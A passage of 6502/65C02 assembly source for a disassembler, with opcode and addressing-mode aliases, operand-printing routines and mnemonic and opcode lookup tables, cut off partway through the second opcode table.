Return .alias SP $20 ; Space .alias ESC $1B ; Escape ; External Routines ;.alias ECHO $FFEF ; Woz monitor ECHO routine ;.alias PRBYTE $FFDC ; Woz monitor print byte as two hex chars ;.alias PRHEX $FFE5 ; Woz monitor print nybble as hex digit ; Instructions. Matches entries in table of MNEMONICS .alias OP_INV $00 .alias OP_ADC $01 .alias OP_AND $02 .alias OP_ASL $03 .alias OP_BCC $04 .alias OP_BCS $05 .alias OP_BEQ $06 .alias OP_BIT $07 .alias OP_BMI $08 .alias OP_BNE $09 .alias OP_BPL $0A .alias OP_BRK $0B .alias OP_BVC $0C .alias OP_BVS $0D .alias OP_CLC $0E .alias OP_CLD $0F .alias OP_CLI $10 .alias OP_CLV $11 .alias OP_CMP $12 .alias OP_CPX $13 .alias OP_CPY $14 .alias OP_DEC $15 .alias OP_DEX $16 .alias OP_DEY $17 .alias OP_EOR $18 .alias OP_INC $19 .alias OP_INX $1A .alias OP_INY $1B .alias OP_JMP $1C .alias OP_JSR $1D .alias OP_LDA $1E .alias OP_LDX $1F .alias OP_LDY $20 .alias OP_LSR $21 .alias OP_NOP $22 .alias OP_ORA $23 .alias OP_PHA $24 .alias OP_PHP $25 .alias OP_PLA $26 .alias OP_PLP $27 .alias OP_ROL $28 .alias OP_ROR $29 .alias OP_RTI $2A .alias OP_RTS $2B .alias OP_SBC $2C .alias OP_SEC $2D .alias OP_SED $2E .alias OP_SEI $2F .alias OP_STA $30 .alias OP_STX $31 .alias OP_STY $32 .alias OP_TAX $33 .alias OP_TAY $34 .alias OP_TSX $35 .alias OP_TXA $36 .alias OP_TXS $37 .alias OP_TYA $38 .alias OP_BBR $39 ; [65C02 only] .alias OP_BBS $3A ; [65C02 only] .alias OP_BRA $3B ; [65C02 only] .alias OP_PHX $3C ; [65C02 only] .alias OP_PHY $3D ; [65C02 only] .alias OP_PLX $3E ; [65C02 only] .alias OP_PLY $3F ; [65C02 only] .alias OP_RMB $40 ; [65C02 only] .alias OP_SMB $41 ; [65C02 only] .alias OP_STZ $42 ; [65C02 only] .alias OP_TRB $43 ; [65C02 only] .alias OP_TSB $44 ; [65C02 only] .alias OP_STP $45 ; [WDC 65C02 only] .alias OP_WAI $46 ; [WDC 65C02 only] ; Addressing Modes. OPCODES1/OPCODES2 tables list these for each instruction. LENGTHS lists the instruction length for each addressing mode. .alias AM_INVALID 0 ; example: .alias AM_IMPLICIT 1 ; RTS .alias AM_ACCUMULATOR 2 ; ASL A .alias AM_IMMEDIATE 3 ; LDA #$12 .alias AM_ZEROPAGE 4 ; LDA $12 .alias AM_ZEROPAGE_X 5 ; LDA $12,X .alias AM_ZEROPAGE_Y 6 ; LDA $12,Y .alias AM_RELATIVE 7 ; BNE $FD .alias AM_ABSOLUTE 8 ; JSR $1234 .alias AM_ABSOLUTE_X 9 ; STA $1234,X .alias AM_ABSOLUTE_Y 10 ; STA $1234,Y .alias AM_INDIRECT 11 ; JMP ($1234) .alias AM_INDEXED_INDIRECT 12 ; LDA ($12,X) .alias AM_INDIRECT_INDEXED 13 ; LDA ($12),Y .alias AM_INDIRECT_ZEROPAGE 14 ; LDA ($12) [65C02 only] .alias AM_ABSOLUTE_INDEXED_INDIRECT 15 ; JMP ($1234,X) [65C02 only] ; *** VARIABLES *** ; Page zero variables .alias T1 $35 ; temp variable 1 .alias T2 $36 ; temp variable 2 ;.alias ADDR $37 ; instruction address, 2 bytes (low/high) .alias OPCODE $39 ; instruction opcode .alias OP $3A ; instruction type OP_* .alias AM $41 ; addressing mode AM_* .alias LEN $42 ; instruction length .alias REL $43 ; relative addressing branch offset (2 bytes) .alias DEST $45 ; relative address destination address (2 bytes) ; *** CODE *** ; Main program disassembles starting from itself. Prompts user to hit ; key to continue after each screen. DSTART: OUTER: .invoke linefeed LDA #23 DLOOP: PHA JSR DISASM PLA SEC SBC #1 BNE DLOOP .invoke print ContinueString SpaceOrEscape: JSR j_rchr CMP #$20 BEQ OUTER CMP #$1B BNE SpaceOrEscape JMP m_parse_end ; Disassemble instruction at address K_VAR1_L (low) / K_VAR1_H (high). On ; return K_VAR1_L/K_VAR1_H points to next instruction so it can be called ; again. DISASM: LDX #0 LDA (K_VAR1_L,X) ; get instruction op code STA OPCODE BMI UPPER ; if bit 7 set, in upper half of table ASL ; double it since table is two bytes per entry TAX LDA OPCODES1,X ; get the instruction type (e.g. OP_LDA) STA OP ; store it INX LDA OPCODES1,X ; get addressing mode STA AM ; store it JMP AROUND UPPER: ASL ; double it since table is two bytes per entry TAX LDA OPCODES2,X ; get the instruction type (e.g. OP_LDA) STA OP ; store it INX LDA OPCODES2,X ; get addressing mode STA AM ; store it AROUND: TAX ; put addressing mode in X LDA LENGTHS,X ; get instruction length given addressing mode STA LEN ; store it LDX K_VAR1_L LDY K_VAR1_H ; .ifndef SOURCEONLY JSR PrintAddress ; print address LDX #3 JSR PrintSpaces ; then three spaces LDA OPCODE ; get instruction op code JSR PrintByte ; display the opcode byte JSR PrintSpace LDA LEN ; how many bytes in the instruction? CMP #3 BEQ THREE CMP #2 BEQ TWO LDX #5 JSR PrintSpaces JMP ONE TWO: LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte JSR PrintByte ; display it LDX #3 JSR PrintSpaces JMP ONE THREE: LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte JSR PrintByte ; display it JSR PrintSpace LDY #2 LDA (K_VAR1_L),Y ; get 2nd operand byte JSR PrintByte ; display it ONE: ; .endif ; .ifndef SOURCEONLY LDX #4 JSR PrintSpaces LDA OP ; get the op code ASL ; multiply by 2 CLC ADC OP ; add one more to multiply by 3 since table is three bytes per entry TAX LDY #3 MNEM: LDA MNEMONICS,X ; print three chars of mnemonic JSR j_wchr INX DEY BNE MNEM ; Display any operands based on addressing mode LDA OP ; is it RMB or SMB? CMP #OP_RMB BEQ DOMB CMP #OP_SMB BNE TRYBB DOMB: LDA OPCODE ; get the op code AND #$70 ; Upper 3 bits is the bit number LSR LSR LSR LSR JSR j_hex8out LDX #2 JSR PrintSpaces JSR PrintDollar LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JMP DONEOPS TRYBB: LDA OP ; is it BBR or BBS? CMP #OP_BBR BEQ DOBB CMP #OP_BBS BNE TRYIMP DOBB: ; handle special BBRn and BBSn instructions LDA OPCODE ; get the op code AND #$70 ; Upper 3 bits is the bit number LSR LSR LSR LSR JSR j_hex8out LDX #2 JSR PrintSpaces JSR PrintDollar LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (address) JSR PrintByte ; display it LDA #$2C JSR j_wchr JSR PrintDollar ; Handle relative addressing ; Destination address is Current address + relative (sign extended so upper byte is $00 or $FF) + 3 LDY #2 LDA (K_VAR1_L),Y ; get 2nd operand byte (relative branch offset) STA REL ; save low byte of offset BMI _DNEG ; if negative, need to sign extend LDA #0 ; high byte is zero BEQ _DADD _DNEG: LDA #$FF ; negative offset, high byte if $FF _DADD: STA REL+1 ; save offset high byte LDA K_VAR1_L ; take adresss CLC ADC REL ; add offset STA DEST ; and store LDA K_VAR1_H ; also high byte (including carry) ADC REL+1 STA DEST+1 LDA DEST ; now need to add 3 more to the address CLC ADC #3 STA DEST LDA DEST+1 ADC #0 ; add any carry STA DEST+1 JSR PrintByte ; display high byte LDA DEST JSR PrintByte ; display low byte JMP DONEOPS TRYIMP: LDA AM CMP #AM_IMPLICIT BNE TRYINV JMP DONEOPS ; no operands TRYINV: CMP #AM_INVALID BNE TRYACC JMP DONEOPS ; no operands TRYACC: LDX #3 JSR PrintSpaces CMP #AM_ACCUMULATOR BNE TRYIMM ; .ifndef NOACCUMULATOR LDA #'A JSR j_wchr ; .endif ; .ifndef NOACCUMULATOR JMP DONEOPS TRYIMM: CMP #AM_IMMEDIATE BNE TRYZP LDA #$23 JSR j_wchr JSR PrintDollar LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JMP DONEOPS TRYZP: CMP #AM_ZEROPAGE BNE TRYZPX JSR PrintDollar LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JMP DONEOPS TRYZPX: CMP #AM_ZEROPAGE_X BNE TRYZPY LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (address) JSR PrintDollar JSR PrintByte ; display it JSR PrintCommaX JMP DONEOPS TRYZPY: CMP #AM_ZEROPAGE_Y BNE TRYREL LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (address) JSR PrintByte ; display it JSR PrintCommaY JMP DONEOPS TRYREL: CMP #AM_RELATIVE BNE TRYABS JSR PrintDollar ; Handle relative addressing ; Destination address is Current address + relative (sign extended so upper byte is $00 or $FF) + 2 LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (relative branch offset) STA REL ; save low byte of offset BMI NEG ; if negative, need to sign extend LDA #0 ; high byte is zero BEQ DADD NEG: LDA #$FF ; negative offset, high byte if $FF DADD: STA REL+1 ; save offset high byte LDA K_VAR1_L ; take adresss CLC ADC REL ; add offset STA DEST ; and store LDA K_VAR1_H ; also high byte (including carry) ADC REL+1 STA DEST+1 LDA DEST ; now need to add 2 more to the address CLC ADC #2 STA DEST LDA DEST+1 ADC #0 ; add any carry STA DEST+1 JSR PrintByte ; display high byte LDA DEST JSR PrintByte ; display low byte JMP DONEOPS TRYABS: CMP #AM_ABSOLUTE BNE TRYABSX JSR PrintDollar LDY #2 LDA (K_VAR1_L),Y ; get 2nd operand byte (high address) JSR PrintByte ; display it LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JMP DONEOPS TRYABSX: CMP #AM_ABSOLUTE_X BNE TRYABSY JSR PrintDollar LDY #2 LDA (K_VAR1_L),Y ; get 2nd operand byte (high address) JSR PrintByte ; display it LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JSR PrintCommaX JMP DONEOPS TRYABSY: CMP #AM_ABSOLUTE_Y BNE TRYIND JSR PrintDollar LDY #2 LDA (K_VAR1_L),Y ; get 2nd operand byte (high address) JSR PrintByte ; display it LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JSR PrintCommaY JMP DONEOPS TRYIND: CMP #AM_INDIRECT BNE TRYINDXIND JSR PrintLParenDollar LDY #2 LDA (K_VAR1_L),Y ; get 2nd operand byte (high address) JSR PrintByte ; display it LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JSR PrintRParen JMP DONEOPS TRYINDXIND: CMP #AM_INDEXED_INDIRECT BNE TRYINDINDX JSR PrintLParenDollar LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JSR PrintCommaX JSR PrintRParen JMP DONEOPS TRYINDINDX: CMP #AM_INDIRECT_INDEXED BNE TRYINDZ JSR PrintLParenDollar LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JSR PrintRParen JSR PrintCommaY JMP DONEOPS TRYINDZ: CMP #AM_INDIRECT_ZEROPAGE ; [65C02 only] BNE TRYABINDIND JSR PrintLParenDollar LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JSR PrintRParen JMP DONEOPS TRYABINDIND: CMP #AM_ABSOLUTE_INDEXED_INDIRECT ; [65C02 only] BNE DONEOPS JSR PrintLParenDollar LDY #2 LDA (K_VAR1_L),Y ; get 2nd operand byte (high address) JSR PrintByte ; display it LDY #1 LDA (K_VAR1_L),Y ; get 1st operand byte (low address) JSR PrintByte ; display it JSR PrintCommaX JSR PrintRParen JMP DONEOPS DONEOPS: .invoke linefeed ; print a final CR LDA K_VAR1_L ; update address to next instruction CLC ADC LEN STA K_VAR1_L LDA K_VAR1_H ADC #0 ; to add carry STA K_VAR1_H RTS ;------------------------------------------------------------------------ ; Utility functions ; Print a dollar sign ; Registers changed: None PrintDollar: PHA LDA #$24 JSR j_wchr PLA RTS ; Print ",X" ; Registers changed: None PrintCommaX: PHA LDA #$2C JSR j_wchr LDA #'X JSR j_wchr PLA RTS ; Print ",Y" ; Registers changed: None PrintCommaY: PHA LDA #$2C JSR j_wchr LDA #'Y JSR j_wchr PLA RTS ; Print "($" ; Registers changed: None PrintLParenDollar: PHA LDA #$28 JSR j_wchr LDA #$24 JSR j_wchr PLA RTS ; Print a right parenthesis ; Registers changed: None PrintRParen: PHA LDA #$29 JSR j_wchr PLA RTS ; Print a carriage return ; Registers changed: None PrintCR: PHA LDA #CR JSR j_wchr PLA RTS ; Print a space ; Registers changed: None PrintSpace: PHA LDA #SP JSR j_wchr PLA RTS ; Print number of spaces in X ; Registers changed: X PrintSpaces: PHA LDA #SP * JSR j_wchr DEX BNE - PLA RTS ; Get character from keyboard ; Returns in A ; Clears high bit to be valid ASCII ; Registers changed: A GetKey: jsr j_rchr ; read character bcs GetKey ; wait for character AND #%01111111 RTS ; Print 16-bit address in hex ; Pass byte in X (low) and Y (high) ; Registers changed: None PrintAddress: PHA lda K_VAR1_H JSR j_hex8out lda K_VAR1_L JSR j_hex8out PLA RTS ; Print byte in hex ; Pass byte in A ; Registers changed: None PrintByte: pha JSR j_hex8out pla RTS ; get opcode ; get mnemonic, addressing mode, instruction length ; display opcode string ; display arguments based on addressing mode ; increment instruction pointer based on instruction length ; loop back ; DATA ; Table of instruction strings. 3 bytes per table entry ; .export MNEMONICS MNEMONICS: .byte "???" ; $00 .byte "ADC" ; $01 .byte "AND" ; $02 .byte "ASL" ; $03 .byte "BCC" ; $04 .byte "BCS" ; $05 .byte "BEQ" ; $06 .byte "BIT" ; $07 .byte "BMI" ; $08 .byte "BNE" ; $09 .byte "BPL" ; $0A .byte "BRK" ; $0B .byte "BVC" ; $0C .byte "BVS" ; $0D .byte "CLC" ; $0E .byte "CLD" ; $0F .byte "CLI" ; $10 .byte "CLV" ; $11 .byte "CMP" ; $12 .byte "CPX" ; $13 .byte "CPY" ; $14 .byte "DEC" ; $15 .byte "DEX" ; $16 .byte "DEY" ; $17 .byte "EOR" ; $18 .byte "INC" ; $19 .byte "INX" ; $1A .byte "INY" ; $1B .byte "JMP" ; $1C .byte "JSR" ; $1D .byte "LDA" ; $1E .byte "LDX" ; $1F .byte "LDY" ; $20 .byte "LSR" ; $21 .byte "NOP" ; $22 .byte "ORA" ; $23 .byte "PHA" ; $24 .byte "PHP" ; $25 .byte "PLA" ; $26 .byte "PLP" ; $27 .byte "ROL" ; $28 .byte "ROR" ; $29 .byte "RTI" ; $2A .byte "RTS" ; $2B .byte "SBC" ; $2C .byte "SEC" ; $2D .byte "SED" ; $2E .byte "SEI" ; $2F .byte "STA" ; $30 .byte "STX" ; $31 .byte "STY" ; $32 .byte "TAX" ; $33 .byte "TAY" ; $34 .byte "TSX" ; $35 .byte "TXA" ; $36 .byte "TXS" ; $37 .byte "TYA" ; $38 .byte "BBR" ; $39 [65C02 only] .byte "BBS" ; $3A [65C02 only] .byte "BRA" ; $3B [65C02 only] .byte "PHX" ; $3C [65C02 only] .byte "PHY" ; $3D [65C02 only] .byte "PLX" ; $3E [65C02 only] .byte "PLY" ; $3F [65C02 only] .byte "RMB" ; $40 [65C02 only] .byte "SMB" ; $41 [65C02 only] .byte "STZ" ; $42 [65C02 only] .byte "TRB" ; $43 [65C02 only] .byte "TSB" ; $44 [65C02 only] .byte "STP" ; $45 [WDC 65C02 only] .byte "WAI" ; $46 [WDC 65C02 only] ; Lengths of instructions given an addressing mode. Matches values of AM_* LENGTHS: .byte 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 2, 2, 2, 3 ; Opcodes. Listed in order. Defines the mnemonic and addressing mode. ; 2 bytes per table entry ; .export OPCODES1 OPCODES1: .byte OP_BRK, AM_IMPLICIT ; $00 .byte OP_ORA, AM_INDEXED_INDIRECT ; $01 .byte OP_INV, AM_INVALID ; $02 .byte OP_INV, AM_INVALID ; $03 .byte OP_TSB, AM_ZEROPAGE ; $04 [65C02 only] .byte OP_ORA, AM_ZEROPAGE ; $05 .byte OP_ASL, AM_ZEROPAGE ; $06 .byte OP_RMB, AM_ZEROPAGE ; $07 [65C02 only] .byte OP_PHP, AM_IMPLICIT ; $08 .byte OP_ORA, AM_IMMEDIATE ; $09 .byte OP_ASL, AM_ACCUMULATOR ; $0A .byte OP_INV, AM_INVALID ; $0B .byte OP_TSB, AM_ABSOLUTE ; $0C [65C02 only] .byte OP_ORA, AM_ABSOLUTE ; $0D .byte OP_ASL, AM_ABSOLUTE ; $0E .byte OP_BBR, AM_ABSOLUTE ; $0F [65C02 only] .byte OP_BPL, AM_RELATIVE ; $10 .byte OP_ORA, AM_INDIRECT_INDEXED ; $11 .byte OP_ORA, AM_INDIRECT_ZEROPAGE ; $12 [65C02 only] .byte OP_INV, AM_INVALID ; $13 .byte OP_TRB, AM_ZEROPAGE ; $14 [65C02 only] .byte OP_ORA, AM_ZEROPAGE_X ; $15 .byte OP_ASL, AM_ZEROPAGE_X ; $16 .byte OP_RMB, AM_ZEROPAGE ; $17 [65C02 only] .byte OP_CLC, AM_IMPLICIT ; $18 .byte OP_ORA, AM_ABSOLUTE_Y ; $19 .byte OP_INC, AM_ACCUMULATOR ; $1A [65C02 only] .byte OP_INV, AM_INVALID ; $1B .byte OP_TRB, AM_ABSOLUTE ; $1C [65C02 only] .byte OP_ORA, AM_ABSOLUTE_X ; $1D .byte OP_ASL, AM_ABSOLUTE_X ; $1E .byte OP_BBR, AM_ABSOLUTE ; $1F [65C02 only] .byte OP_JSR, AM_ABSOLUTE ; $20 .byte OP_AND, AM_INDEXED_INDIRECT ; $21 .byte OP_INV, AM_INVALID ; $22 .byte OP_INV, AM_INVALID ; $23 .byte OP_BIT, AM_ZEROPAGE ; $24 .byte OP_AND, AM_ZEROPAGE ; $25 .byte OP_ROL, AM_ZEROPAGE ; $26 .byte OP_RMB, AM_ZEROPAGE ; $27 [65C02 only] .byte OP_PLP, AM_IMPLICIT ; $28 .byte OP_AND, AM_IMMEDIATE ; $29 .byte OP_ROL, AM_ACCUMULATOR ; $2A .byte OP_INV, AM_INVALID ; $2B .byte OP_BIT, AM_ABSOLUTE ; $2C .byte OP_AND, AM_ABSOLUTE ; $2D .byte OP_ROL, AM_ABSOLUTE ; $2E .byte OP_BBR, AM_ABSOLUTE ; $2F [65C02 only] .byte OP_BMI, AM_RELATIVE ; $30 .byte OP_AND, AM_INDIRECT_INDEXED ; $31 [65C02 only] .byte OP_AND, AM_INDIRECT_ZEROPAGE ; $32 [65C02 only] .byte OP_INV, AM_INVALID ; $33 .byte OP_BIT, AM_ZEROPAGE_X ; $34 [65C02 only] .byte OP_AND, AM_ZEROPAGE_X ; $35 .byte OP_ROL, AM_ZEROPAGE_X ; $36 .byte OP_RMB, AM_ZEROPAGE ; $37 [65C02 only] .byte OP_SEC, AM_IMPLICIT ; $38 .byte OP_AND, AM_ABSOLUTE_Y ; $39 .byte OP_DEC, AM_ACCUMULATOR ; $3A [65C02 only] .byte OP_INV, AM_INVALID ; $3B .byte OP_BIT, AM_ABSOLUTE_X ; $3C [65C02 only] .byte OP_AND, AM_ABSOLUTE_X ; $3D .byte OP_ROL, AM_ABSOLUTE_X ; $3E .byte OP_BBR, AM_ABSOLUTE ; $3F [65C02 only] .byte OP_RTI, AM_IMPLICIT ; $40 .byte OP_EOR, AM_INDEXED_INDIRECT ; $41 .byte OP_INV, AM_INVALID ; $42 .byte OP_INV, AM_INVALID ; $43 .byte OP_INV, AM_INVALID ; $44 .byte OP_EOR, AM_ZEROPAGE ; $45 .byte OP_LSR, AM_ZEROPAGE ; $46 .byte OP_RMB, AM_ZEROPAGE ; $47 [65C02 only] .byte OP_PHA, AM_IMPLICIT ; $48 .byte OP_EOR, AM_IMMEDIATE ; $49 .byte OP_LSR, AM_ACCUMULATOR ; $4A .byte OP_INV, AM_INVALID ; $4B .byte OP_JMP, AM_ABSOLUTE ; $4C .byte OP_EOR, AM_ABSOLUTE ; $4D .byte OP_LSR, AM_ABSOLUTE ; $4E .byte OP_BBR, AM_ABSOLUTE ; $4F [65C02 only] .byte OP_BVC, AM_RELATIVE ; $50 .byte OP_EOR, AM_INDIRECT_INDEXED ; $51 .byte OP_EOR, AM_INDIRECT_ZEROPAGE ; $52 [65C02 only] .byte OP_INV, AM_INVALID ; $53 .byte OP_INV, AM_INVALID ; $54 .byte OP_EOR, AM_ZEROPAGE_X ; $55 .byte OP_LSR, AM_ZEROPAGE_X ; $56 .byte OP_RMB, AM_ZEROPAGE ; $57 [65C02 only] .byte OP_CLI, AM_IMPLICIT ; $58 .byte OP_EOR, AM_ABSOLUTE_Y ; $59 .byte OP_PHY, AM_IMPLICIT ; $5A [65C02 only] .byte OP_INV, AM_INVALID ; $5B .byte OP_INV, AM_INVALID ; $5C .byte OP_EOR, AM_ABSOLUTE_X ; $5D .byte OP_LSR, AM_ABSOLUTE_X ; $5E .byte OP_BBR, AM_ABSOLUTE ; $5F [65C02 only] .byte OP_RTS, AM_IMPLICIT ; $60 .byte OP_ADC, AM_INDEXED_INDIRECT ; $61 .byte OP_INV, AM_INVALID ; $62 .byte OP_INV, AM_INVALID ; $63 .byte OP_STZ, AM_ZEROPAGE ; $64 [65C02 only] .byte OP_ADC, AM_ZEROPAGE ; $65 .byte OP_ROR, AM_ZEROPAGE ; $66 .byte OP_RMB, AM_ZEROPAGE ; $67 [65C02 only] .byte OP_PLA, AM_IMPLICIT ; $68 .byte OP_ADC, AM_IMMEDIATE ; $69 .byte OP_ROR, AM_ACCUMULATOR ; $6A .byte OP_INV, AM_INVALID ; $6B .byte OP_JMP, AM_INDIRECT ; $6C .byte OP_ADC, AM_ABSOLUTE ; $6D .byte OP_ROR, AM_ABSOLUTE ; $6E .byte OP_BBR, AM_ABSOLUTE ; $6F [65C02 only] .byte OP_BVS, AM_RELATIVE ; $70 .byte OP_ADC, AM_INDIRECT_INDEXED ; $71 .byte OP_ADC, AM_INDIRECT_ZEROPAGE ; $72 [65C02 only] .byte OP_INV, AM_INVALID ; $73 .byte OP_STZ, AM_ZEROPAGE_X ; $74 [65C02 only] .byte OP_ADC, AM_ZEROPAGE_X ; $75 .byte OP_ROR, AM_ZEROPAGE_X ; $76 .byte OP_RMB, AM_ZEROPAGE ; $77 [65C02 only] .byte OP_SEI, AM_IMPLICIT ; $78 .byte OP_ADC, AM_ABSOLUTE_Y ; $79 .byte OP_PLY, AM_IMPLICIT ; $7A [65C02 only] .byte OP_INV, AM_INVALID ; $7B .byte OP_JMP, AM_ABSOLUTE_INDEXED_INDIRECT ; $7C [65C02 only] .byte OP_ADC, AM_ABSOLUTE_X ; $7D .byte OP_ROR, AM_ABSOLUTE_X ; $7E .byte OP_BBR, AM_ABSOLUTE ; $7F [65C02 only] ; .export OPCODES2 OPCODES2: .byte OP_BRA, AM_RELATIVE ; $80 [65C02 only] .byte OP_STA, AM_INDEXED_INDIRECT ; $81 .byte OP_INV, AM_INVALID ; $82 .byte OP_INV, AM_INVALID ; $83 .byte OP_STY, AM_ZEROPAGE ; $84 .byte OP_STA, AM_ZEROPAGE ; $85 .byte OP_STX, AM_ZEROPAGE ; $86 .byte OP_SMB, AM_ZEROPAGE ; $87 [65C02 only] .byte OP_DEY, AM_IMPLICIT ; $88 .byte OP_BIT, AM_IMMEDIATE ; $89 [65C02 only] .byte OP_TXA, AM_IMPLICIT ; $8A .byte OP_INV, AM_INVALID ; $8B .byte OP_STY, AM_ABSOLUTE ; $8C .byte OP_STA, AM_ABSOLUTE ; $8D .byte OP_STX, AM_ABSOLUTE ; $8E .byte OP_BBS, AM_ABSOLUTE ; $8F [65C02 only] .byte OP_BCC, AM_RELATIVE ; $90 .byte OP_STA, AM_INDIRECT_INDEXED ; $91 .byte OP_STA, AM_INDIRECT_ZEROPAGE ; $92 [65C02 only] .byte OP_INV, AM_INVALID ; $93 .byte OP_STY, AM_ZEROPAGE_X ; $94 .byte OP_STA, AM_ZEROPAGE_X ; $95 .byte OP_STX, AM_ZEROPAGE_Y ; $96 .byte OP_SMB, AM_ZEROPAGE ; $97 [65C02 only] .byte OP_TYA, AM_IMPLICIT ; $98 .byte OP_STA, AM_ABSOLUTE_Y ; $99 .byte OP_TXS, AM_IMPLICIT ; $9A .byte OP_INV, AM_INVALID ; $9B .byte OP_STZ, AM_ABSOLUTE ; $9C [65C02 only] .byte OP_STA, AM_ABSOLUTE_X ; $9D .byte OP_STZ, AM_ABSOLUTE_X ; $9E [65C02 only] .byte OP_BBS, AM_ABSOLUTE ; $9F [65C02 only] .byte OP_LDY, AM_IMMEDIATE ; $A0 .byte OP_LDA, AM_INDEXED_INDIRECT ; $A1 .byte OP_LDX, AM_IMMEDIATE ; $A2 .byte OP_INV, AM_INVALID ; $A3 .byte OP_LDY, AM_ZEROPAGE ; $A4 .byte OP_LDA, AM_ZEROPAGE ; $A5 .byte OP_LDX, AM_ZEROPAGE ; $A6 .byte OP_SMB, AM_ZEROPAGE ; $A7 [65C02 only] .byte OP_TAY, AM_IMPLICIT ; $A8 .byte OP_LDA, AM_IMMEDIATE ; $A9 .byte OP_TAX, AM_IMPLICIT ; $AA .byte OP_INV, AM_INVALID ; $AB .byte OP_LDY, AM_ABSOLUTE ; $AC .byte OP_LDA, AM_ABSOLUTE ; $AD .byte OP_LDX, AM_ABSOLUTE ; $AE .byte OP_BBS, AM_ABSOLUTE ; $AF [65C02 only] .byte OP_BCS, AM_RELATIVE ; $B0 .byte OP_LDA, AM_INDIRECT_INDEXED ; $B1 .byte OP_LDA, AM_INDIRECT_ZEROPAGE ; $B2 [65C02 only] .byte OP_INV, AM_INVALID ; $B3 .byte OP_LDY, AM_ZEROPAGE_X ; $B4 .byte OP_LDA, AM_ZEROPAGE_X ; $B5 .byte OP_LDX, AM_ZEROPAGE_Y ; $B6 .byte OP_SMB, AM_ZEROPAGE ; $B7 [65C02 only] .byte OP_CLV, AM_IMPLICIT ; $B8 .byte OP_LDA, AM_ABSOLUTE_Y ; $B9 .byte OP_TSX, AM_IMPLICIT ; $BA .byte OP_INV, AM_INVALID ; $BB .byte OP_LDY, AM_ABSOLUTE_X ; $BC .byte OP_LDA, AM_ABSOLUTE_X ; $BD .byte OP_LDX, AM_ABSOLUTE_Y ; $BE .byte OP_BBS, AM_ABSOLUTE ; $BF [65C02 only] .byte OP_CPY, AM_IMMEDIATE ; $C0 .byte OP_CMP, AM_INDEXED_INDIRECT ; $C1 .byte OP_INV, AM_INVALID ; $C2 .byte OP_INV, AM_INVALID ; $C3 .byte OP_CPY, AM_ZEROPAGE ; $C4 .byte OP_CMP, AM_ZEROPAGE ; $C5 .byte OP_DEC, AM_ZEROPAGE ; $C6 .byte OP_SMB, AM_ZEROPAGE ; $C7 [65C02 only] .byte OP_INY, AM_IMPLICIT ; $C8 .byte OP_CMP, AM_IMMEDIATE ; $C9 .byte OP_DEX, AM_IMPLICIT ; $CA .byte OP_WAI, AM_IMPLICIT ; $CB [WDC 65C02 only] .byte OP_CPY, AM_ABSOLUTE ; $CC .byte OP_CMP, AM_ABSOLUTE ; $CD .byte OP_DEC, AM_ABSOLUTE ; $CE .byte OP_BBS, AM_ABSOLUTE ; $CF [65C02 only] .byte OP_BNE, AM_RELATIVE ; $D0 .byte OP_CMP, AM_INDIRECT_INDEXED ; $D1 .byte OP_CMP, AM_INDIRECT_ZEROPAGE ; $D2 [65C02 only] .byte OP_INV, AM_INVALID ; $D3 .byte OP_INV, AM_INVALID ; $D4 .byte OP_CMP, AM_ZEROPAGE_X ; $D5 .byte OP_DEC, AM_ZEROPAGE_X ; $D6 .byte OP_SMB, AM_ZEROPAGE ; $D7 [65C02 only] .byte OP_CLD, AM_IMPLICIT ; $D8 .byte OP_CMP, AM_ABSOLUTE_Y ; $D9 .byte OP_PHX, AM_IMPLICIT ; $DA [65C02 only] .byte OP_STP, AM_IMPLICIT ; $DB [WDC 65C02 only] .byte OP_INV, AM_INVALID ; $DC .byte OP_CMP, AM_ABSOLUTE_X ; $DD .byte OP_DEC, AM_ABSOLUTE_X ; $DE .byte OP_BBS, AM_ABSOLUTE ; $DF [65C02 only] .byte OP_CPX, AM_IMMEDIATE ; $E0 .byte OP_SBC, AM_INDEXED_INDIRECT ; $E1 .byte OP_INV, AM_INVALID ; $E2 .byte OP_INV, AM_INVALID ; $E3 .byte OP_CPX, AM_ZEROPAGE ; $E4 .byte OP_SBC, AM_ZEROPAGE ; $E5 .byte OP_INC, AM_ZEROPAGE ; $E6 .byte OP_SMB, AM_ZEROPAGE ; $E7 [65C02 only] .byte OP_INX, AM_IMPLICIT ; $E8 .byte OP_SBC, AM_IMMEDIATE ; $E9 .byte OP_NOP, AM_IMPLICIT ; $EA .byte OP_INV, AM_INVALID ; $EB .byte OP_CPX, AM_ABSOLUTE ; $EC .byte OP_SBC, AM_ABSOLUTE ; $ED .byte OP_INC, AM_ABSOLUTE ; $EE .byte OP_BBS, AM_ABSOLUTE ; $EF [65C02 only] .byte OP_BEQ, AM_RELATIVE ; $F0 .byte OP_SBC, AM_INDIRECT_INDEXED ; $F1 .byte OP_SBC, AM_INDIRECT_ZEROPAGE ; $F2 [65C02 only] .byte OP_INV, AM_INVALID ; $F3 .byte OP_INV, AM_INVALID ; $F4 .byte OP_SBC, AM_ZEROPAGE_X ; $F5 .byte OP_INC, AM_ZEROPAGE_X ; $F6 .byte OP_SMB, AM_ZEROPAGE ; $F7 [65C02 only] .byte OP_SED, AM_IMPLICIT ; $F8 .byte OP_SBC, AM_ABSOLUTE_Y ; $F9 .byte OP_PLX, AM_IMPLICIT ; $FA [65C02 only] .byte OP_INV, AM_INVALID ; $FB .byte OP_INV, AM_INVALID ; $FC .byte OP_SBC, 